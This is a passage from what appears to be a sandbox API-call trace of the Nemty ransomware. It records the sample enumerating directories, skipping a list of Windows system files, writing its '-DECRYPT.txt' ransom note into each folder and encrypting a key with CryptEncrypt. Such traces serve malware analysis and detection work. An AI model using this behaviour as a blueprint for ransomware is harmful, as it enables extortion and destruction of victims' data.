lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94310 [0172.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.310] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4c90b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a4c90b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a4c90b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.310] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.310] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SVE", cAlternateFileName="")) returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2=".") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="..") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="...") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="windows") returned -1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="$RECYCLE.BIN") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="rsa") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="NTDETECT.COM") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="ntldr") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="MSDOS.SYS") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="IO.SYS") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="boot.ini") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="boot.ini") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="AUTOEXEC.BAT") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="ntuser.dat") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="desktop.ini") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="CONFIG.SYS") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="RECYCLER") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="BOOTSECT.BAK") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="bootmgr") returned 1 [0172.310] lstrcmpiW (lpString1="SVE", lpString2="programdata") returned 1 [0172.311] lstrcmpiW (lpString1="SVE", lpString2="appdata") returned 1 [0172.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SVE", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SVE", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SVE", lpUsedDefaultChar=0x0) returned 3 [0172.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SVE", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SVE", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SVE", lpUsedDefaultChar=0x0) returned 3 [0172.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0172.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94310 [0172.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0172.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.311] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.312] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.312] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.312] CloseHandle (hObject=0x254) returned 1 [0172.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.313] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.314] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.314] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.314] CloseHandle (hObject=0x254) returned 1 [0172.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.315] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a587790, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a587790, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.315] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.315] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a587790, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a587790, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.315] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.315] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.315] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12696, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0172.315] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0172.316] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0172.316] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0172.316] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0172.316] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0172.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0172.316] Sleep (dwMilliseconds=0x5) [0172.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a5d3a50, dwHighDateTime=0x1d561e8)) [0172.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a5d3a50, dwHighDateTime=0x1d561e8)) [0172.331] GetLastError () returned 0xb7 [0172.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.331] GetLastError () returned 0xb7 [0172.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.331] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.331] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.331] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0172.331] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="aq0ma+LCn5uAzt+tLwoZPa84m5JIFPreawsF/tpeYbUgbeLRL034SgciBGd4yeDw\r\nyH4lyV4HIkCY/SzJ0y8D52ujdkQ8vUQT1jSeKABCI7c24w0r3//1BZL/sjie0Fqx\r\n2ckhYt1TjYPipGbLgEU+jEN4jomQKR8KfETBpFVBlF8LhdsmOwwRdUlfzjkkQ1O0\r\ng449B6hc9mn6Y/ZAUu2GcDyZP6JK9qjE3Znnc8yfyWeD/bcOvOMGOH4J80gZOzAw\r\n8Hlxu11FEXJKv4LtK5u5xYoovDtKpDESHlQIPpE50Nnf2pwtYw5/p8aL96v6z9VP\r\no4oE+X0REFQxyAfpzQ3EkA==\r\n", pcchString=0x653e5dc) returned 1 [0172.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0172.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.332] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 